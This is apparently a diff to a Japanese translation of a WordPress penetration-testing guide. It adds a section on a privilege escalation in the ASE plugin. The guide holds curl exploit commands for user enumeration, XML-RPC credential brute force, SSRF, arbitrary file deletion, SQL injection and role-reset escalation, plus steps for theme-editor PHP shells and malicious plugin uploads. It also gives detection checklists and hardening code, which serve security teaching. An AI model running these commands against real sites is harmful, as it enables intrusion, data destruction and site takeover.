diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 4a7332500..339ed4dfa 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -10,7 +10,7 @@ - **別の便利なURLは次のとおりです:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **wp-config.php**にはデータベースのルートパスワードが含まれています。 -- 確認すべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- 確認するためのデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **主なWordPressファイル** @@ -26,11 +26,11 @@ - `wp-content`フォルダは、プラグインとテーマが保存される主なディレクトリです。 - `wp-content/uploads/`は、プラットフォームにアップロードされたファイルが保存されるディレクトリです。 - `wp-includes/`は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されるディレクトリです。 -- `wp-sitemap.xml`は、Wordpressバージョン5.5以降、Wordpressがすべての公開投稿と公開可能な投稿タイプおよび分類のXMLサイトマップファイルを生成します。 +- `wp-sitemap.xml`は、Wordpressバージョン5.5以降、Wordpressがすべての公開投稿と公開クエリ可能な投稿タイプおよび分類法を含むサイトマップXMLファイルを生成します。 **ポストエクスプロイト** -- `wp-config.php`ファイルには、データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルプレフィックスなど、WordPressがデータベースに接続するために必要な情報が含まれています。この設定ファイルは、トラブルシューティングに役立つDEBUGモードを有効にするためにも使用できます。 +- `wp-config.php`ファイルには、データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルプレフィックスなど、WordPressがデータベースに接続するために必要な情報が含まれています。この構成ファイルは、トラブルシューティングに役立つDEBUGモードを有効にするためにも使用できます。 ### ユーザー権限 @@ -42,7 +42,7 @@ ## **パッシブ列挙** -### **WordPressのバージョンを取得** +### **WordPressバージョンを取得** `/license.txt`または`/readme.html`ファイルを見つけられるか確認します。 @@ -79,7 +79,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### プラグインとテーマ -すべてのプラグインとテーマを見つけることはおそらくできません。それらをすべて発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(私たちにとって幸運なことに、このリストを含む自動化ツールがあります)。 +すべてのプラグインとテーマを見つけることはできないでしょう。それらをすべて発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(私たちにとって幸運なことに、このリストを含む自動化ツールがあります)。 ### ユーザー @@ -87,7 +87,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -レスポンスが **200** または **30X** の場合、id は **有効** です。レスポンスが **400** の場合、id は **無効** です。 +もしレスポンスが **200** または **30X** であれば、それは id が **有効** であることを意味します。レスポンスが **400** の場合、id は **無効** です。 - **wp-json:** ユーザーに関する情報を取得するために、次のようにクエリを試すこともできます: ```bash @@ -105,7 +105,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ### XML-RPC -`xml-rpc.php` がアクティブな場合、資格情報のブルートフォース攻撃を実行するか、他のリソースに対してDoS攻撃を開始するために使用できます。(このプロセスを自動化することができます[これを使用して](https://github.com/relarizky/wpxploit) 例えば)。 +`xml-rpc.php` がアクティブな場合、資格情報のブルートフォース攻撃を実行するか、他のリソースに対してDoS攻撃を開始するために使用できます。(このプロセスを自動化することができます[ using this](https://github.com/relarizky/wpxploit) など)。 アクティブかどうかを確認するには、_**/xmlrpc.php**_ にアクセスし、このリクエストを送信してください: @@ -120,7 +120,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **クレデンシャルブルートフォース** -**`wp.getUserBlogs`**、**`wp.getCategories`**、または **`metaWeblog.getUsersBlogs`** は、クレデンシャルをブルートフォースするために使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信できます: +**`wp.getUserBlogs`**、**`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、クレデンシャルをブルートフォースするために使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信できます: ```html wp.getUsersBlogs @@ -166,7 +166,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -また、**`system.multicall`**を使用して、同じリクエストで複数の資格情報を試すことで、資格情報をブルートフォースする**より速い方法**があります: +また、**`system.multicall`**を使用して、同じリクエストで複数の資格情報を試すことで、資格情報をブルートフォースする**より速い方法**があります。
@@ -215,7 +215,7 @@ Wp-Cronを無効にし、ホスト内で必要なアクションを定期的に ### /wp-json/oembed/1.0/proxy - SSRF -_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ にアクセスしてみてください。Worpressサイトがあなたにリクエストを送るかもしれません。 +_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ にアクセスしてみてください。Worpressサイトがあなたにリクエストを送信するかもしれません。 動作しないときのレスポンスは次のとおりです: @@ -235,7 +235,7 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## ビットを上書きしてアクセスを得る +## ビットを上書きしてアクセスを取得する 実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができます。 ```php @@ -244,11 +244,11 @@ return new WP_Error( ``` ## **パネル RCE** -**使用しているテーマの php を変更する(管理者の資格情報が必要)** +**使用しているテーマのphpを変更する(管理者の資格情報が必要)** 外観 → テーマエディタ → 404 テンプレート(右側) -php シェルの内容に変更します: +phpシェルの内容に変更します: ![](<../../images/image (384).png>) @@ -287,15 +287,15 @@ to get a session. ![](<../../images/image (462).png>) -それにアクセスすると、リバースシェルを実行するための URL が表示されます: +アクセスすると、リバースシェルを実行するための URL が表示されます: ![](<../../images/image (1006).png>) ### 悪意のあるプラグインのアップロードと有効化 -この方法は、脆弱性が知られている悪意のあるプラグインのインストールを含み、ウェブシェルを取得するために悪用できます。このプロセスは、WordPress ダッシュボードを通じて次のように実行されます: +この方法は、脆弱性が知られている悪意のあるプラグインのインストールを含み、ウェブシェルを取得するために悪用される可能性があります。このプロセスは、WordPress ダッシュボードを通じて次のように実行されます: -1. **プラグインの取得**: プラグインは、[**こちら**](https://www.exploit-db.com/exploits/36374)のような Exploit DB などのソースから取得されます。 +1. **プラグインの取得**: プラグインは、[**ここ**](https://www.exploit-db.com/exploits/36374)のような Exploit DB などのソースから取得されます。 2. **プラグインのインストール**: - WordPress ダッシュボードに移動し、`ダッシュボード > プラグイン > プラグインのアップロード`に進みます。 - ダウンロードしたプラグインの zip ファイルをアップロードします。 @@ -303,19 +303,19 @@ to get a session. 4. **悪用**: - "reflex-gallery" プラグインがインストールされ、有効化されると、脆弱性が知られているため悪用できます。 - Metasploit フレームワークは、この脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、メータープリタセッションを確立し、サイトへの不正アクセスを許可します。 -- これは、WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことが記載されています。 +- これは WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことに注意してください。 -コンテンツには、プラグインのインストールと有効化のための WordPress ダッシュボードでの手順を示す視覚的な補助が含まれています。ただし、この方法で脆弱性を悪用することは、適切な承認なしに違法かつ非倫理的であることに注意が必要です。この情報は、責任を持って使用し、明示的な許可を得たペネトレーションテストなどの法的な文脈でのみ使用するべきです。 +コンテンツには、プラグインのインストールと有効化のための WordPress ダッシュボードでの手順を示す視覚的な補助が含まれています。ただし、この方法で脆弱性を悪用することは、適切な承認なしに違法で非倫理的であることに注意が必要です。この情報は責任を持って使用し、明示的な許可を得たペネトレーションテストなどの法的な文脈でのみ使用するべきです。 **詳細な手順については、次を確認してください:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## XSS から RCE へ - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は、**クロスサイトスクリプティング (XSS)** 脆弱性を **リモートコード実行 (RCE)** または他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細については、[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。これは **WordPress バージョン 6.X.X、5.X.X、4.X.X をサポートし、次のことを可能にします:** -- _**特権昇格:**_ WordPress にユーザーを作成します。 -- _**(RCE) カスタムプラグイン (バックドア) アップロード:**_ WordPress にカスタムプラグイン (バックドア) をアップロードします。 -- _**(RCE) ビルトインプラグインの編集:**_ WordPress のビルトインプラグインを編集します。 -- _**(RCE) ビルトインテーマの編集:**_ WordPress のビルトインテーマを編集します。 +- _**権限昇格:**_ WordPress にユーザーを作成します。 +- _**(RCE) カスタムプラグイン (バックドア) アップロード:**_ カスタムプラグイン (バックドア) を WordPress にアップロードします。 +- _**(RCE) ビルトインプラグイン編集:**_ WordPress のビルトインプラグインを編集します。 +- _**(RCE) ビルトインテーマ編集:**_ WordPress のビルトインテーマを編集します。 - _**(カスタム) カスタムエクスプロイト:**_ サードパーティの WordPress プラグイン/テーマ用のカスタムエクスプロイト。 ## ポストエクスプロイト @@ -346,7 +346,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **`nopriv`の使用により、エンドポイントはすべてのユーザー(認証されていないユーザーも含む)にアクセス可能になります。** > [!CAUTION] -> さらに、関数が`wp_verify_nonce`関数を使用してユーザーの認証を確認しているだけの場合、この関数は通常、ユーザーがログインしているかどうかを確認しているだけで、ユーザーの役割を確認しているわけではありません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。 +> さらに、関数が`wp_verify_nonce`関数を使用してユーザーの認証を確認しているだけの場合、この関数は通常、ユーザーがログインしているかどうかを確認するだけで、ユーザーの役割を確認することはありません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。 - **REST API** @@ -368,9 +368,9 @@ $this->namespace, '/get/', array( もちろん、WordPressはPHPを使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、どのユーザーでも悪用可能になります。 -### wp_ajax_noprivを介した認証なしの任意ファイル削除 (Lithoテーマ <= 3.0) +### wp_ajax_noprivを介した認証されていない任意のファイル削除 (Lithoテーマ <= 3.0) -WordPressのテーマやプラグインは、しばしば `wp_ajax_` および `wp_ajax_nopriv_` フックを通じてAJAXハンドラーを公開します。**_nopriv_** バリアントが使用されると、**コールバックは認証されていない訪問者によって到達可能になります**。したがって、任意の機密アクションは追加で以下を実装する必要があります: +WordPressのテーマやプラグインは、頻繁に `wp_ajax_` および `wp_ajax_nopriv_` フックを介してAJAXハンドラーを公開します。**_nopriv_** バリアントが使用されると、**コールバックは認証されていない訪問者によって到達可能になります**。したがって、任意の敏感なアクションは追加で以下を実装する必要があります: 1. **権限チェック**(例:`current_user_can()` または少なくとも `is_user_logged_in()`)、および 2. **CSRFノンス**を `check_ajax_referer()` / `wp_verify_nonce()` で検証し、そして @@ -403,7 +403,7 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove #### 悪用 -攻撃者は、単一のHTTP POSTリクエストを送信することで、**アップロードベースディレクトリ以下の**任意のファイルまたはディレクトリを削除できます(通常は `/wp-content/uploads/`)。 +攻撃者は、単一のHTTP POSTリクエストを送信することで、**アップロードベースディレクトリの下にある**任意のファイルまたはディレクトリを削除できます(通常は `/wp-content/uploads/`)。 ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ @@ -413,13 +413,13 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \ 他の影響力のあるターゲットには、プラグイン/テーマの `.php` ファイル(セキュリティプラグインを破るため)や `.htaccess` ルールが含まれます。 -#### Detection checklist +#### 検出チェックリスト -* `add_action( 'wp_ajax_nopriv_...')` コールバックでファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出しているもの。 +* ファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出す `add_action( 'wp_ajax_nopriv_...')` コールバック。 * パスへの未サニタイズのユーザー入力の連結(`$_POST`, `$_GET`, `$_REQUEST` を探す)。 * `check_ajax_referer()` および `current_user_can()`/`is_user_logged_in()` の不在。 -#### Hardening +#### ハードニング ```php function secure_remove_font_family() { if ( ! is_user_logged_in() ) { @@ -439,8 +439,72 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ // 🔒 NO wp_ajax_nopriv_ registration ``` > [!TIP] -> **常に** ディスク上の書き込み/削除操作を特権として扱い、再確認してください: -> • 認証 • 認可 • ノンス • 入力のサニタイズ • パスの制限(例:`realpath()` と `str_starts_with()` を使用)。 +> **常に** ディスク上の書き込み/削除操作を特権として扱い、再確認してください: +> • 認証 • 認可 • ノンス • 入力のサニタイズ • パスの制限 (例: `realpath()` と `str_starts_with()` を使用)。 + +--- + +### 古い役割の復元と欠落した認可による特権昇格 (ASE "View Admin as Role") + +多くのプラグインは、元の役割をユーザーメタに保存することによって「役割として表示」または一時的な役割切り替え機能を実装しています。復元パスがリクエストパラメータ(例: `$_REQUEST['reset-for']`)とプラグインが管理するリストのみに依存し、能力と有効なノンスを確認しない場合、これは垂直的な特権昇格になります。 + +実際の例は、Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) で見つかりました。リセットブランチは、ユーザー名が内部配列 `$options['viewing_admin_as_role_are']` に表示される場合、`reset-for=` に基づいて役割を復元しましたが、現在の役割を削除し、ユーザーメタ `_asenha_view_admin_as_original_roles` から保存された役割を再追加する前に `current_user_can()` チェックやノンス検証を行いませんでした: +```php +// Simplified vulnerable pattern +if ( isset( $_REQUEST['reset-for'] ) ) { +$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); +$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; + +if ( in_array( $reset_for_username, $usernames, true ) ) { +$u = get_user_by( 'login', $reset_for_username ); +foreach ( $u->roles as $role ) { $u->remove_role( $role ); } +$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); +foreach ( $orig as $r ) { $u->add_role( $r ); } +} +} +``` +なぜ悪用可能なのか + +- サーバーサイドの認証なしに `$_REQUEST['reset-for']` とプラグインオプションを信頼している。 +- ユーザーが以前に `_asenha_view_admin_as_original_roles` に保存された高い権限を持っていてダウングレードされた場合、リセットパスを叩くことでそれを復元できる。 +- 一部のデプロイメントでは、認証された任意のユーザーが `viewing_admin_as_role_are` にまだ存在する別のユーザー名のリセットをトリガーできる(認可の破損)。 + +攻撃の前提条件 + +- 機能が有効な脆弱なプラグインバージョン。 +- 対象アカウントに以前の使用からユーザーメタに保存された古い高権限ロールがある。 +- 任意の認証されたセッション;リセットフローにおけるノンス/能力が欠如している。 + +悪用(例) +```bash +# While logged in as the downgraded user (or any auth user able to trigger the code path), +# hit any route that executes the role-switcher logic and include the reset parameter. +# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. +curl -s -k -b 'wordpress_logged_in=...' \ +'https://victim.example/wp-admin/?reset-for=' +``` +脆弱なビルドでは、現在のロールを削除し、保存された元のロール(例:`administrator`)を再追加することで、特権を昇格させます。 + +検出チェックリスト + +- ユーザーメタに「元のロール」を保持するロール切り替え機能を探します(例:`_asenha_view_admin_as_original_roles`)。 +- 次の条件を満たすリセット/復元パスを特定します: + - `$_REQUEST` / `$_GET` / `$_POST` からユーザー名を読み取る。 + - `current_user_can()` および `wp_verify_nonce()` / `check_admin_referer()` なしで `add_role()` / `remove_role()` を介してロールを変更する。 + - アクターの能力ではなく、プラグインオプション配列(例:`viewing_admin_as_role_are`)に基づいて承認する。 + +ハードニング + +- 状態変更のすべての分岐で能力チェックを強制します(例:`current_user_can('manage_options')` またはそれ以上の厳格さ)。 +- すべてのロール/権限の変更に対してノンスを要求し、それを検証します:`check_admin_referer()` / `wp_verify_nonce()`。 +- リクエストで提供されたユーザー名を決して信頼せず、認証されたアクターと明示的なポリシーに基づいてターゲットユーザーをサーバー側で解決します。 +- プロファイル/ロールの更新時に「元のロール」の状態を無効にして、古い高特権の復元を避けます: +```php +add_action( 'profile_update', function( $user_id ) { +delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); +}, 10, 1 ); +``` +- 最小限の状態を保存し、一時的な役割の切り替えのために時間制限付きの能力保護トークンを使用することを検討してください。 --- @@ -448,7 +512,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ ### 定期的な更新 -WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.phpで自動更新が有効になっていることを確認してください: +WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.phpで自動更新が有効になっていることも確認してください。 ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); @@ -472,7 +536,7 @@ add_filter( 'auto_update_theme', '__return_true' ); ### 不十分な検証による認証されていないSQLインジェクション (WP Job Portal <= 2.3.2) -WP Job Portalリクルートメントプラグインは、最終的に`modules/category/model.php::validateFormData()`内で次の脆弱なコードを実行する**savecategory**タスクを公開しました: +WP Job Portalリクルートプラグインは、最終的に`modules/category/model.php::validateFormData()`内で次の脆弱なコードを実行する**savecategory**タスクを公開しました: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -486,7 +550,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM " 1. **サニタイズされていないユーザー入力** – `parentid` はHTTPリクエストから直接取得されます。 2. **WHERE句内の文字列連結** – `is_numeric()` / `esc_sql()` / 準備されたステートメントがありません。 -3. **認証されていない到達可能性** – アクションは `admin-post.php` を通じて実行されますが、唯一のチェックは **CSRFノンス** (`wp_verify_nonce()`)、これは任意の訪問者がショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから取得できます。 +3. **認証されていない到達可能性** – アクションは `admin-post.php` を通じて実行されますが、唯一のチェックは **CSRFノンス** (`wp_verify_nonce()`) であり、これは任意の訪問者がショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから取得できます。 #### 悪用 @@ -528,6 +592,8 @@ curl -G https://victim.com/wp-admin/admin-post.php \ ## 参考文献 - [Lithoテーマにおける認証されていない任意ファイル削除の脆弱性](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) -- [WP Job Portalプラグインに修正された複数の重大な脆弱性](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) +- [WP Job Portalプラグインの複数の重大な脆弱性が修正されました](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) +- [100k以上のサイトに影響を与えるASEプラグインの特異な特権昇格のケース](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) +- [ASE 7.6.3の変更セット – プロフィール更新時に元の役割を削除](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) {{#include ../../banners/hacktricks-training.md}}